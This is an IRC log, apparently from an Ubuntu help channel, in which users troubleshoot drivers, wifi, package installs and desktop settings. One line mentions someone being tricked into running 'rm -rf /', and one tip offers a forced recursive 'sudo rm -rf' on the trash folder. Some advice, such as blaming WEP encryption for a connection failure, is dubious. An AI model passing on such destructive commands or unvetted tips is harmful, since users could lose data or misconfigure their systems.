[05:30] <zetheroo> Seveas: I am back.... got caught offline for a tick
[05:30] <zetheroo> Seveas: did I miss anything?
[05:30] <Crippy-Boy> It included gtk+ dev and a number of other things, I just can't remember the name of the package, nevermind I will find it.
[05:30] <[nrx] > gerro, yeah tried that.. and tried different ip in static with no joy
[05:30] <praet> Ward1983: try in ccsm > general options > opacity > add a new windo setting with the name and an opcity of 50 to test that you have the right regex
[05:30] <Seveas> zetheroo, please pastebin the output of dpkg -l '*xorg linux-* *fglrx*'
[05:30] <gerro> Crippy-Boy: don't need no </sarcasm? its precompiled :P
[05:30] <nonickforme> Can anyone recomend what FTP apt to use, only one account needed, in ubuntu server
[05:30] <ikonia> nonickforme ftp is fine
[05:30] <Seveas> nonickforme, vsftpd
[05:31] <kersinc> #ubuntu-es
[05:31] <gerro> nrx: is the router powered on?... lol
[05:31] <Crippy-Boy> gerro, Now now :P
[05:31] <[nrx] > yes, this laptop is using it
[05:31] <[nrx] > as is the desktop in the bedroom, the desktop in the living room
[05:31] <doug__> does anyone in here use gxine player?
[05:31] <[nrx] > and the other laptop
[05:31] <cordova> ncftp for client, vsftp for server
[05:31] <kemik> pftp for client! (pftp-mew to be exact)
[05:32] <nonickforme> Eh, client will be in windows
[05:32] <doug__> anyone use gxine player?
[05:32] <nonickforme> so dosnt matter
[05:32] <gerro> nrx: ooh idea
[05:32] <sharperguy> lol was there by any chance an update to amarok today?
[05:32] <zetheroo> Seveas: zeth@T60-Ubuntu:~$ dpkg -l '*xorg linux-* *fglrx*' No packages found matching *xorg linux-* *fglrx*.
[05:32] <gerro> nrx: can you ping outside addresses?
[05:32] <JoannaJoanna> siema
[05:32] <kemik> nonickforme: take a look at pureftpd for server perhaps?
[05:32] <Seveas> zetheroo, ah, my mistake
[05:32] <nonickforme> just installed vsftpd
[05:32] <doug__> anyone use gxine player?
[05:32] <[nrx] > gerro, from this laptop, yes. frmo the ubuntu laptop, no
[05:32] <gerro> nrx: try ping 64.233.161.104 (google)
[05:32] <Seveas> zetheroo, should be: dpkg -l '*xorg*' 'linux-*' '*fglrx*'
[05:33] <kemik> nonickforme: i guess it'll be as good =)
[05:33] <[nrx] > everything i try and ping comes back with destination host unreachable
[05:33] <axm> anyone knows where/how the cdrom open/close state is managed? would 'setcd' be a start to look or just a dead end?
[05:33] <[nrx] > internal and external
[05:33] <gerro> nrx: oh just considering it might be dns issue but umm can you ping the router address?
[05:33] <doug__> anyone use gxine player
[05:33] <[nrx] > gerro, no
[05:33] <[nrx] > gerro, same error
[05:33] <Ward1983> praet, i'll try
[05:33] <zetheroo> Seveas: http://paste.ubuntu-nl.org/37324/
[05:33] <kemik> nrx: can you ping your localhost? :) (127.0.0.1? )
[05:34] <Stwange> can anyone give me a hand? I tried setting up my wifi using ACX100 driver, I put these commands in: http://pastebin.com/d6d727c67 and now I've got no connection at all (not even wired). I'm guessing it's because I stopped NetworkManager, but I was hoping it would all be for a greater good. If you can help, please bold my nick when you're replying, or PM me - I'm using the Windows box and mIRC is pretty crap for telling you when people are talking to you. T
[05:34] <gerro> nrx: reinstall ping! haha I'm sorry just running out of ideas
[05:34] <[nrx] > gerro, yes using both localhost ip and network ip
[05:34] <doug__> does anyone in here use gxine player?
[05:34] <Crippy-Boy> ping -prettypleasewithacherryontop
[05:34] <praet> Stwange: try [sudo /etc/init.d/networking restart] 
[05:34] <gerro> nrx: you can't ping localhost???
[05:34] <[nrx] > i can
[05:34] <Stwange> thanks praet, one second
[05:35] <gerro> nrx: okay was about to say you having some serious issues if can't
[05:35] <kemik> nrx: so, you can ping localhost and so... you've received an IP from the router , or is it statically set ?
[05:35] <doug__> when i move gxine player while watching something it goes to a blue screen how do i fix this
[05:35] <gerro> kenik: his is static set, told him try dhcp but he says same issue
[05:35] <praet> Stwange: you can always undo those settings by editing those files directly
[05:35] <Seveas> zetheroo, that looks ok-ish, try this now: sudo updatedb && slocate fglrx.ko
[05:35] <Seveas> zetheroo, it'll take some time
[05:35] <[nrx] > kemik, it's static....
[05:36] <[nrx] > kemik, the issue is if i go into the office (work) it's fine.. it's when i come home that it's not. but the other machines on the network here are fine
[05:36] <kemik> but do you even receive a IP with dhcp ?
[05:36] <[nrx] > kemik, it doesn't seem so
[05:36] <Ward1983> praet, that does nothing either
[05:36] <kemik> nrx: i would try setting up DHCP at home first.. then play with a static IP
[05:36] <zetheroo> Seveas: whats it supposed to do?....
[05:36] <aa^way> hey, if i plug my  mp3 to my computer with USB then i dont see anything to come up desktop like it used to be, what could be problem? tho the USB works, i mean i plug my camera with same USb cable and i see icon and message on desktop. LINUX ubuntu
[05:36] <kemik> nrx: is the static ip the same at work and home? (seems unlikely it would be..)
[05:36] <andre2> hi
[05:37] <[nrx] > kemik, networking isn't a problem :)
[05:37] <Stwange[] >  /nick Stwange
[05:37] <[nrx] > i know the network here at home is fine
[05:37] <maj> is there an equivalent of anaconda or any other new hardware wizard in ubuntu?
[05:37] <[nrx] > and yes, i run the same ip here as i do at work
[05:37] <Seveas> zetheroo, look for files named fglrx.ko -- updatedb scans the complete harddisk, only needed sometimes
[05:37] <Stwange> thanks guys, got my networking back up :)
[05:37] <andre2> somebody are using gutsy?
[05:37] <Seveas> zetheroo, but in this case it's needed :)
[05:37] <Seveas> !gutsy | andre2
[05:37] <ubotu> andre2: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[05:37] <Stwange> hmm, network manager has disappeared though... how do I get it back?
[05:37] <kemik> nrx: ok. well, something aint right @ home if you cant use ping ....
[05:37] <praet> Ward1983: ok you need to fix the regex expression before yuo can get it to work.  see this page for help:
[05:37] <wackmaniac> DOes anyone know if there is a LiveCD version of Feisty Fawn?
[05:37] <zetheroo> Seveas: zeth@T60-Ubuntu:~$ sudo updatedb && slocate fglrx.ko /lib/modules/2.6.20-16-generic/kernel/drivers/char/drm/fglrx.ko /lib/modules/fglrx/build_mod/fglrx.ko /lib/modules/fglrx/build_mod/2.6.x/.fglrx.ko.cmd /lib/modules/fglrx/build_mod/2.6.x/fglrx.ko /lib/modules/fglrx/fglrx.ko
[05:38] <[nrx] > kemik, the rest of the machines on the network at home dont have a problem.. including this one
[05:38] <praet> Ward1983: http://forum.compiz-fusion.org/showthread.php?t=1768
[05:38] <Ward1983> praet, ok ty
[05:38] <Seveas> zetheroo, I was afraid of that, you messed with ati drivers a lot
[05:38] <codeane> i would like to setup a mail server on an Asus P4P800 Deluxe, anyone know if there's support in Ubuntu for Intel ICH5R RAID 1 as i would like to boot off the RAID?
[05:38] <Crippy-Boy> Just a random question and this might not be the appropriate place to ask, but does anyone know a way to share my thunderbird mail boxes across the network (without putting the mailbox on a shared drive)
[05:39] <zetheroo> Seveas: I was trying to get beryl to work
[05:39] <zetheroo> sob
[05:39] <Kr0ntab> wackmaniac, the desktop install iso is a livecd...
[05:39] <axm> nrx, mind to fill me in the configuration?
[05:39] <robdeman> folks my Ubuntubox has static ip 192.168.0.8 ... but somehow it does not respond to its hostname 'trac' anymore
[05:39] <Floating> the panel encountered a problem while loading "OAFIID: Deskbar_applet"  - do i want to delete it? it asks
[05:39] <[nrx] > axm, what would you like to know? :)
[05:39] <maj> anybody?
[05:39] <Kr0ntab> Seveas, you think he was saying "sob" as in crying?
[05:39] <Izzi> anyone here have any expierence with intel hda souncards?
[05:40] <robdeman> I used to do from my WinXP box: ping trac and then my winxp box would resolve trac as 192.168.0.8 and reply with a ping
[05:40] <robdeman> any help?
[05:40] <wackmaniac> thank you kr0ntab
[05:40] <Seveas> Kr0ntab, no, sob as in son-of-a-...
[05:40] <axm> just wanting to make sure it is no ip configuration problem
[05:40] <aa^way> hey, if i plug my  mp3 to my computer with USB then i dont see anything to come up desktop like it used to be, what could be problem? tho the USB works, i mean i plug my camera with same USb cable and i see icon and message on desktop. LINUX ubuntu
[05:40] <Kr0ntab> ahh..  hehe
[05:40] <robdeman> Floating: I also have the "OAFIID: Deskbar_applet" - do i want to delete it?" issue since the most recent Feisty updates
[05:40] <[nrx] > axm, i don't think so.. it's the exact same configuration i have at work.. just the ssid and wep key are different
[05:41] <axm> ok, it's wlan, i am out :X
[05:41] <[nrx] > lol
[05:41] <[nrx] > :)
[05:41] <khamael> where should I put Option ""MaxTapTime" "0"" in xorg.conf to disable tap to click?
[05:41] <axm> sry, my only wlan device came broken out of the box
[05:41] <[nrx] > gonna take wep off the router and restart.. work with an open connection and see where i can do if anywhere
[05:41] <maj> is there an equivalent of anaconda or any other new hardware wizard in ubuntu?
[05:41] <[nrx] > back in a few
[05:41] <[nrx] > :)
[05:43] <axm> anybody ever seen cd-rom  drives  that cannot be closed anymore(open again then) ?
[05:43] <Ward1983> praet, what do i need to change? :-s the class name is clearly in there
[05:44] <Ward1983> praet, this page i about identifying windows and they say the same you said
[05:44] <Seveas> maj, new hardware should 'just work'
[05:44] <Seveas> maj, only exception I know of is new video card
[05:46] <[nrx_] > well
[05:46] <[nrx_] > it's working now
[05:46] <Ward1983> praet, but also to be clear: its about a window that normally can't go fullscreen
[05:46] <linux__alien> ikonia, thanks a lot it worked i ve recovered the GRUB
[05:47] <Stwange> how do I get my NetworkManager back up at the top beside my clock? It's gone :(
[05:47] <Seveas> Stwange, log out, log back in
[05:47] <linux__alien> ikonia, i got irritated that it didnt work and thought that i ve to go back to Fedora . Fedora had a lot of bugs thats why i switched over to Ubuntu 7.04
[05:48] <Seveas> linux__alien, Ubuntu has a lot of bugs too
[05:48] <Seveas> there's no bug-free os/distro
[05:48] <linux__alien> Seveas, yes but not too an extent as what Fedora has
[05:48] <Stwange> Seveas, I already rebooted
[05:48] <praet> Ward1983: what is the class name again?
[05:48] <samyboy> how to switch resolution with  Ctrl+Alt+keypad(+|-) with edgy ?
[05:48] <pike_> other than vista
[05:48] <Ward1983> praet, i'm taliing about remotejoy
[05:48] <linux__alien> Seveas, There is no bug free software or code but Ubuntu has lesser i believe and morever its more polished i dont have to do lot of things after i install Ubuntu
[05:48] <Ward1983> *talking
[05:48] <Seveas> Stwange, in a terminal, run nm-applet
[05:49] <Ward1983> praet, i's a tool to show the content of a PSP screen on a PSP screen :-)
[05:49] <Ward1983> praet, but the fullscreen option doesnt work (yet)
[05:49] <Seveas> linux__alien, if your impression is that Ubuntu has less bugs then we succeeded in our goal
[05:49] <unperson> Hi, I  just upgraded from Edgy to feisty.  I have my system setup so that / is on a software RAID device.  Now after the upgrade it seems that the system can't mount / during boot.  it has kicked me out into a busybox shell at the initramfs prompt saying it can't find /dev/md0. I'm trying to determine what to do next.
[05:49] <linux__alien> Seveas, Fedora takes lot of time to install because of the packages and infact ve been a KDE User when using FC but now after started using Ubuntu switched over to Gnome
[05:49] <Seveas> linux__alien, welcome to the light side of Ubuntu and the light side of Gnome :)
[05:49] <neverblue> samyboy, works here on Feisty (just pointing it out)
[05:50] <sharon> hello
[05:50] <unperson> I posted all the info on the situation over at Ubuntu Forums http://ubuntuforums.org/showthread.php?t=548964 but so far no help.
[05:50] <samyboy> neverblue, thank you. I think it's time to dist-upgrade :P
[05:51] <praet> Ward1983: see the linux options for a fullscreen argument ?
[05:51] <Stwange> Seveas, in the terminal it just hangs, with ALT+F2 it doesn't do anything
[05:51] <neverblue> samyboy, do you have different resolutions set in your xorg.conf ?
[05:51] <samyboy> yes
[05:51] <linux__alien> Seveas, seriously infact you wont believe i lost my data when i had Fedora It just formatted it . It happened only in F7 and not before that . It said that your partition is uninitialized and do you want to initialize it i said yes . Gone !!!
[05:51] <neverblue> samyboy, its based on the setting in that config
[05:51] <neverblue> samyboy, anyways, you should update to Feisty :)
[05:52] <neverblue> upgrade*
[05:52] <samyboy> I will
[05:52] <Seveas> Stwange, kill the one in the terminal, then do: ps aux | grep nm-applet
[05:52] <Seveas> does that show nm-applet running?
[05:52] <Kr0ntab> Seveas, I actually really glad to see LVM encryption in Gutsy, something Debian 4 added, and a great natural addition to Ubuntu...
[05:52] <linux__alien> Seveas, it formatted my partition and then i came to know its a bug for which i had to give some more parameters while booting so got irritated so wanted to switch over to something new and good so tried Ubuntu and first didnt get adopted to it but then got adopted to it slowly
[05:52] <Seveas> If so, is the notification area on your panel? If it's not: add it :)
[05:52] <Ward1983> praet, the only thing i found on fullscreen was this:
[05:52] <Ward1983> Fullscreen - These windows will fill the whole screen, leaving no room for docks or borders.
[05:53] <neverblue> samyboy, nvidia/ati/or something else?
[05:53] <samyboy> intel 950 ( laptop)
[05:53] <neverblue> ah
[05:53] <linux__alien> is it possible for me to run ares software in Ubuntu
[05:53] <Stwange> Seveas, yeah nm-applet and nm-applet --sm-disable
[05:53] <samyboy> don't buy such graphic cards
[05:54] <linux__alien> i use it on Windows is it possible for me to use the same from Ubuntu ?
[05:54] <samyboy> i will dist-upgrade to feisty. i hope it will work again :)
[05:54] <samyboy> ty .)
[05:54] <cre8torx> >:o
[05:54] <XXer> I have just installed Azurent and Im trying to get it to start when I d/l a torrent file ...I cant find the exe file for azureus (im not even sure what linux executable are)
[05:55] <maj> is there an equivalent of anaconda or any other new hardware wizard in ubuntu?
[05:55] <KurdishSniper> hi i need help with kppp installation
[05:55] <wado> hi everybody, help me pls, what command is for process table in ubuntu? with KDE it was ctrl+esc, wiht GNOME?
[05:55] <linux__alien> i am installing Azerus now
[05:55] <KurdishSniper> i have a datacard broadband, but when i connect i have to do set up a Dialup connection.
[05:56] <Stwange> XXer, have a look in /usr/bin it should be in there
[05:56] <KurdishSniper> and i have installed Ubuntu, which doesnt come with KPPP installed on it as default
[05:56] <KurdishSniper> and when i tried to install it, it said that i need internet connection.
[05:56] <KurdishSniper> so, i have downloaded the KPPP from ubuntu packages...
[05:56] <axm> linux__alien, you installed the sun java, right?
[05:57] <praet> Ward1983: i meant to check the [man remotejoy ]  pages for a fullscreen argument (like remotejoy -FS or something
[05:57] <linux__alien> axm, i am using synaptic so didnt do anything extra
[05:57] <KurdishSniper> can someone help me on how to install/compile KPPP manually
[05:57] <monkeyBox> Help! I think my gnome install is completely borked.  How do I completely re-install gnome?
[05:57] <linux__alien> axm, i dont know whether it would work
[05:57] <Ward1983> praet, their function is NOT working, its F8
[05:57] <axm> blackdown might work with blackdown java but it wont work well
[05:57] <kritzstapf> which programm do i have to install if i want disks to be mounted automatically on a ubuntu server?
[05:57] <linux__alien> axm, which means that i cannot use that client?
[05:58] <axm> *azureus might work
[05:58] <linux__alien> axm, ok then?
[05:58] <pike_> KurdishSniper: its in main so should be available on dvd iso or package.ubuntu.com and download the deb and dependancies then transfere em to your comp
[05:58] <axm> you can, but install suns
[05:58] <pike_> KurdishSniper: no need to compile
[05:58] <j0hn_> I'm trying to edit xorg.conf (to configure my mouse), but it's read only. How should I edit xorg.conf?
[05:58] <linux__alien> axm, its got installed let me try whether it works first ?
[05:58] <linux__alien> :-)
[05:58] <robdeman_> hey all: dpes anybody have an idea why my machine named 'trac' with ip address 192.168.0.8 does no longer resolve?
[05:58] <KurdishSniper> pike: i have downlaoded the deb file
[05:58] <kersinc> #ubuntu-es
[05:58] <pike_> kritzstapf: sudo nano /etc/fstab  youd add entries there. did you mean usb?
[05:58] <KurdishSniper> but i am new to linux and i dont know how to install it
[05:59] <robdeman_> ping trac doe sno longer result in ... resolving trac as 192.168.0.8... ping reply.... etc
[05:59] <KurdishSniper> i have transfered the file to the laptop via usb pen
[05:59] <Dr_willis> j0hn_,  system config files need to be edited with root user permissions, normally with sudo, or gksu, or similer ways
[05:59] <Dr_willis> !sudo | j0hn_
[05:59] <ubotu> j0hn_: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.
[05:59] <axm> sure, but install sun-java6-jre and run the update-alternatives if you want to run it faster, not my prob ;)
[05:59] <pike_> KurdishSniper: sudo dpkg -i file.deb
[05:59] <pike_> KurdishSniper: i dont know what dependancies it may have though
[05:59] <KurdishSniper> great thanks pike_:
[05:59] <j0hn_> Dr_willis: thanks
[05:59] <KurdishSniper> will cross that bridge wheni get to it ;-)
[06:00] <KurdishSniper> Pike_: thanks for the help bro, appreciate it
[06:00] <monkeyBox> Anyone?  Does anyone know how to re-install gnome?
[06:00] <pike_> np
[06:00] <xp_killer> kritzstapf: u on ubuntu or kubuntu?mine to auto mount mine i install ntfs-config then run ntfs-config to auto mount and write permition
[06:00] <anandanbu> How to create a user defined template in Open-Office.org Presentation
[06:00] <axm> my prob is more, that i cannot get my f***ing drive closed anymore :(
[06:00] <Dr_willis> monkeyBox,  why do you THINK you need to reinstall gnome?
[06:00] <XXer> No its not in there..Is there a way to find out where the desktop icon of the prog is linked to?
[06:00] <monkeyBox> Dr_willis: It's completely borked.  gnome apps keep throwing errors
[06:00] <pike_> monkeyBox: what is the issue? you may just need to remove your profile settings or something
[06:01] <kritzstapf> xp_killer: its a server, non-X
[06:01] <ompaul> monkeyBox, sudo apt-get install ubuntu-desktop << should do gnome with all the parts of it that your distro expects
[06:01] <Dr_willis> monkeyBox,  prove its not the users settings.. by making a new user, and seeing if it also crashes for them.
[06:01] <morpheus> I've got a dl380 G3 server with ubuntu on it, there are two disks (raid 1+0) and three 36GB (raid 5) I installed ubuntu on the raid 1 pair and formatted the raid 5 array, when I boot up the raid 5 array isnt there? how do i check whats mounted?
[06:01] <ompaul> monkeyBox, so what pike_ said - that is .gnome/ and .gnome2/
[06:01] <Dr_willis> monkeyBox,  if it us the users settings... delete what ompaul  was refering to.
[06:01] <ompaul> monkeyBox, careful you want to keep your email
[06:02] <wado> hi everybody, help me pls, what command is for process table in ubuntu? with KDE it was ctrl+esc, wiht GNOME?
[06:02] <monkeyBox> Ok,  what happened is I was compiling nautilus from source,  and it jacked something up
[06:02] <monkeyBox> don't ask why
[06:02] <monkeyBox> long story
[06:02] <clos> hey is it possible to get the wifi working on an old ibook g3 running xubuntu without paying for drivers?
[06:02] <ompaul> monkeyBox, short version, don't play with stuff that is core, kernels included :)
[06:02] <Dr_willis> monkeyBox,  thats when installing to a /opt/ type dir - is a good idea. :) of course using the package manager to remove gnome may NOT remove your compiled stuff.. it might.. it might now.
[06:02] <monkeyBox> I tried re-installing the nautilus package, but I think that screwed things up further
[06:02] <Delta> Hey Is there a way to put the trash as an icon on my desktop??
[06:03] <Dr_willis> Delta, i find i much perfer it in the panel. :) where i can always see it.
[06:03] <Stwange> Seveas, any ideas? It shows it running, along with nm-applet --sm-disable. I think it might have something to do with the command(s) I ran ( http://pastebin.com/d6d727c67 )
[06:03] <monkeyBox> Dr_willis: why does synaptic show gnome as un-selected?
[06:03] <clos> hey is it possible to get the wifi working on an old ibook g3 running xubuntu without paying for drivers?
[06:03] <magnetron> Delta: yes. hold on and i will guide you to it
[06:03] <Dr_willis> monkeyBox,  no idea.   its possible its a meta-package. and by removing one part. you
[06:03] <Seveas> Stwange, is the notification area on your panel? If it's not: add it :)
[06:03] <Dr_willis> removed it.
[06:04] <Stwange> Seveas, sorry if this sounds dumb, but what is the notification area, and how do I add it?
[06:04] <Delta> thanks Magnetron ; Dr_willis: I want to put it on a dock :)
[06:04] <monkeyBox> stuff like gnome-core, etc.. aren't marked as installed either
[06:04] <Seveas> Stwange, richtclick on the panel, select add to panel, select notification area
[06:04] <clos> hey is it possible to get the wifi working on an old ibook g3 running xubuntu without paying for drivers?
[06:05] <monkeyBox> I'm getting a lot of CORBA and GCONF errors
[06:05] <DigeratiX> where can you get extra things to add to a gnome-panel for more applets?
[06:05] <gerro> clos: most likely yes... why would someone ever pay for drivers?
[06:05] <magnetron> Delta: hit alt+f2 and type gconf-editor. change the apps/nautilus/trash_icon_visible value to enabled. that way, it will be on the desktop, as you requested
[06:05] <pike_> clos: i have not mac exp but you might do a google search like 'site:ubuntuforums.org ibook g3 wifi'
[06:06] <clos> gerro - i have no idea but thats what i read in a forum post on the ubuntu forums
[06:06] <clos> that there were proprietary drivers for it
[06:06] <monkeyBox> If I throw in the nautilus livecd, can it "repair" anything?
[06:06] <magnetron> clos: does that mac have an Airport or Airport Extreme?
[06:07] <KurdishSniper> Pike_: bro, it says "Error: Dependency is not satisfiable: kdelibs4c2a" any idea what that mean?!
[06:07] <clos> airport i belive
[06:07] <clos> airport extreme is newer...
[06:07] <clos> ibok g3 is old
[06:07] <gerro> clos: http://www.taimila.com/?q=node/11 hehe
[06:07] <clos> but i could be mistaken
[06:07] <magnetron> !hardware | clos
[06:07] <ubotu> clos: For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[06:07] <Delta> thanks
[06:07] <axm> kritzstapf, might have want to look after auto.misc, rc.autofs (just pointers)
[06:08] <pike_> KurdishSniper: youll need to grab that deb too.  head over to packages.ubuntu.com and it should list the dependancies for kppp you can dowload each deb there
[06:08] <jah> hi
[06:08] <Delta> Im trying to add it it my dock but I cant... any particular reason?
[06:08] <bmose> 
[06:08] <neverblue> !hi | jah
[06:08] <ubotu> jah: Hi! Welcome to #ubuntu!
[06:08] <bmose> J.J
[06:08] <jah> uhrm, anybody knows whether theres a way to run Sonicstage on ubuntu :))
[06:08] <KurdishSniper> pike_: okay bro, thanks once again.
[06:09] <jah> i cant access my mp3 player anymore :(
[06:09] <Stwange> Seveas, added it, but no sign of network manager (I think the notification panel was already there)
[06:09] <clos> ' Wireless NIC
[06:09] <clos> 
[06:09] <clos> Untested
[06:09] <clos> its untested
[06:09] <clos> so...?
[06:09] <Seveas> Stwange, odd :/
[06:09] <Stwange> did those commands I ran do this?
[06:09] <KurdishSniper> Pike_: but do i put them all in the same folder?
[06:10] <jah> 2nobody heard on sonicstage running on ubuntu?
[06:10] <pike_> KurdishSniper: sure. im not too exp with dpkg id assume it will look for the other debs in folder but it may be you need to sudo dpkg -i filename  the deps first
[06:10] <magnetron> clos | https://wiki.ubuntu.com/LaptopTestingTeam/Apple_Macintosh
[06:11] <marioosz> where is it defined that when i press alt+f2 the console switches to /dev/tty2 ? i mean how can i map key that if i press lets say alt+f12 it doesnt switch the console to /dev/tty12 but to /dev/my_own_tty ?
[06:11] <pike_> KurdishSniper: actually im not sure how itd know the filenames.. so you may need to do that
[06:11] <neverblue> jah: http://forums.minidisc.org/index.php?showtopic=16688
[06:11] <clos> yeah magnetron i just saw that, but it says that the wireless NIC's are 'untested'
[06:11] <KurdishSniper> pike_: okay bro, i am guessing the kppp.deb would look for them and its embedded in itself. no harm in trying hehe
[06:11] <magnetron> clos: on all pages? not all of them are updated. and which of them was untested?
[06:12] <clos> both of the g3 pages
[06:12] <KurdishSniper> pike_: thanks pal, you have been a grate deal fo help today.
[06:12] <pike_> KurdishSniper: good luck
[06:13] <magnetron> clos: i heard that there are drivers availiable for the Airport card
[06:13] <jeff_> someone I know was tricked into 'rm -rf /' lmao
[06:13] <clos> uh
[06:13] <howlingmadhowie> marioosz: i imagine the workings of alt+ctrl+f1-7 are defined somewhere very deep down in the operating system, maybe even in the kernel
[06:15] <neverblue> jah, also look at this: http://www.pdr.cx/projects/gnetmd/main/
[06:15] <Stwange> anyone have any idea what else I can try to get my network manager back?
[06:15] <clos> can i use ndiswrapper maybe magnetron?
[06:15] <marioosz> howlingmadhowie: i mean just alt+f1-6 actually - the ones that switch virtual consoles
[06:15] <magnetron> clos: you are better of it
[06:15] <clos> what?
[06:15] <magnetron> clos: *better of without it
[06:16] <mikebot> Is there any way to add a 'print' option to the right-click mennu of files like pdfs? (So you can print w/o opening, and print multiple files by highlighting and one click?)
[06:16] <clos> ok
[06:16] <linux__alien> how do i enable port 54721 coz azerus does not work otherwise
[06:16] <howlingmadhowie> marioosz: to be exact, ctrl+alt+f1-7 change to different consoles, the x-server happens to run on the 7th :)
[06:16] <linux__alien> i get this error Testing port 54721 ... NAT Error
[06:16] <linux__alien> when i try to test
[06:16] <PriceChild> linux__alien, check your router documentation on how to forward that port
[06:16] <guhhh> hello
[06:16] <neverblue> !hi | guhhh
[06:16] <magnetron> linux__alien: it's enabled by default in ubuntu. however, your router may be blocking it
[06:16] <ubotu> guhhh: Hi! Welcome to #ubuntu!
[06:16] <linux__alien> PriceChild, i just have one system
[06:16] <guhhh> i don't remember the exactly package to install 32libraries for 64 bit system... what is it?
[06:17] <JEROME8368> Bonjour  tous ;-)
[06:17] <linux__alien> its just one system connected to the internet using PPPOE which is configured in modem
[06:17] <neverblue> bonjour JEROME8368 :)
[06:17] <clos> maybe this magnetron? - https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx/Edgy
[06:17] <PriceChild> linux__alien, so its a usb modem?
[06:18] <PriceChild> !fr | JEROME8368
[06:18] <ubotu> JEROME8368: Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[06:18] <linux__alien> no ethernet
[06:18] <PriceChild> linux__alien, then check the documentation on the modem/router in order to find out how to forward a port
[06:18] <neverblue> linux4me, portforward.com
[06:18] <neverblue> sorry, linux__alien
[06:19] <PriceChild> linux__alien, you can probably get to the config at http://192.168.1.1 or http://192.168.0.1
[06:19] <[nrx] > I DONT GET THIS!
[06:19] <[nrx] > if i don't have wep on the router, then i get wireless working
[06:19] <[nrx] > if i have wep on, it doesn't work
[06:19] <howlingmadhowie> marioosz: however, i may well be incorrect with my assertion that the effect of ctrl+alt+f1-7 is written into the kernel. i remember hearing that ctrl-alt-del for example is now outside of the kernel in a configuration file. maybe i can find it...
[06:19] <[nrx] > but they key i'm putting in IS right!
[06:20] <magnetron> clos: airport extreme has a broadcomm chip. airport cards doesn't. i think it will work out of the box, but i wont promise that
[06:21] <guhhh> !libs32
[06:21] <ubotu> Sorry, I don't know anything about libs32 - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[06:21] <howlingmadhowie> nrx: that is unusual. almost all wireless cards support wep-encryption. are you sure you are entering the right sort of key? (hexidecimal, 128bit for example)
[06:21] <PriceChild> [nrx] , using encryption can degrade your wireless performance.
[06:21] <guhhh> !32libs
[06:21] <ubotu> Sorry, I don't know anything about 32libs - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[06:21] <aa^way> what would be the problem? when i plug my Sansa MP3 to computer, i see the device, open it, there are some folders, one of them is "Audible" where are all music, so i deleted all + unplugged, now i still see the music in mp3 wtf? althought when i plug it again i see nothing in Audible folders and im 100% sure there isnt anything on other folders because there just isnt
[06:21] <[nrx] > howling, yes
[06:21] <[nrx] > howlingmadhowie, yes... i've doubled checked and all the other pc's in the house and laptops (windows) are working fine
[06:21] <PriceChild> [nrx] , wep is also out dated and easily crackable, i suggest some form of wpa, maybe stop your router broadcasting the essid and turn on mac filtering
[06:21] <guhhh> i don't remember the exactly package to install 32libraries for 64 bit system... what is it?
[06:22] <howlingmadhowie> nrx: knowing that other pcs are working fine should make it easier to narrow the problem down :)
[06:22] <PriceChild> [nrx] , either way, I'm guessing it won't work because encryption degrades the wireless performance.
[06:22] <javb> Any help on installing software to my palm treo on ubuntu feisty ?
[06:22] <neverblue> javb, see if its supported under wine
[06:23] <howlingmadhowie> nrx: what sort of wireless card do you have? maybe the linux driver has some problems.
[06:23] <[nrx] > it works fine at work.. with a wepkey on wireless
[06:23] <neverblue> javb, check in #winehq for info about it
[06:23] <[nrx] > no no, it all works in the office.. with wep
[06:23] <[nrx] > just when im here at home, i can't get it on the network and i don't know why
[06:23] <[nrx] > :'(
[06:23] <howlingmadhowie> [nrx] : that is unusual
[06:23] <[nrx] > howlingmadhowie, yes, very
[06:23] <marioosz> howlingmadhowie: somone said to read keymaps man page
[06:23] <javb> neverblue, i dont want to run any windows program here in ubuntu.. maybe there is a ioen source linux version of some tool that lets me interact with my palm treo
[06:23] <howlingmadhowie> [nrx] : have you tried a packet sniffer? something like ethereal? maybe that can tell you what's going wrong
[06:24] <[nrx] > i can't understand why it's working at the office, but not at home
[06:24] <neverblue> javb, thats something you might want to google
[06:24] <howlingmadhowie> marioosz: looking at the manpage that seems to be exactly what you're looking for :)
[06:25] <linux__alien> PriceChild, http://www.azureuswiki.com/index.php/NAT_problem#Fix_your_NAT_problem
[06:25] <javb> thats what i `ve been doing.. thanks neverblue.
[06:25] <Delta> can anyone tell me why all the windows I open are opened in the left top corner and their ammm "three holy button" bar is unreachable???
[06:25] <Piddy> Could I get some help with my cd-rom? It wont open.
[06:25] <PriceChild> linux__alien, I've already explained how you should fix the problem
[06:26] <Stwange> how do I "sudo empty-the-wastebasket"?
[06:26] <balg> Anyone know much about ubuntu laptop compatibility?
[06:26] <linux__alien> linux__alien, thats the way to fix the problem using iptables
[06:26] <Stwange> Delta, try opening a terminal and typing "metacity", see if that works
[06:26] <howlingmadhowie> [nrx] : the packet sniffer under ubuntu is called "wireshark". this will allow you to record the traffic between your laptop and your router while they are negotiating a dhcp-lease
[06:26] <CoasterMaster> Stwange, sudo rm ~/.Trash
[06:26] <aa^way> what would be the problem? when i plug my Sansa MP3 to computer, i see the device, open it, there are some folders, one of them is "Audible" where are all music, so i deleted all + unplugged, now i still see the music in mp3 wtf? althought when i plug it again i see nothing in Audible folders and im 100% sure there isnt anything on other folders because there just isnt
[06:27] <hjmills> Delta, if you hold alt you can click on a window and drag to move it
[06:27] <Stwange> cheers CoasterMaster
[06:27] <[nrx] > howlingmadhowie, i'm running on static ip's
[06:27] <hjmills> aa^way, did you safely remove?
[06:27] <DigitalNinja> is there a good website for compiz fusion
[06:27] <hjmills> DigitalNinja, the compiz forums are good - google them
[06:27] <DigitalNinja> I just saw a youtube video and and want some
[06:27] <CoasterMaster> Stwange, if that doesn't work (and i suspect it might not), then sudo rm -rf ~/.Trash/*
[06:27] <howlingmadhowie> [nrx] : then it will allow you to see all packets transmitted between the router and the laptop while negotiating an entry in the routing table of the router :)
[06:27] <DigitalNinja> hjmills: Thanks!
[06:28] <Delta> yeah I can move it but I want it to open a bit lower so I can see the bar itself
[06:28] <rambo3> aa^way: did ubuntu make hidden .Trash folder
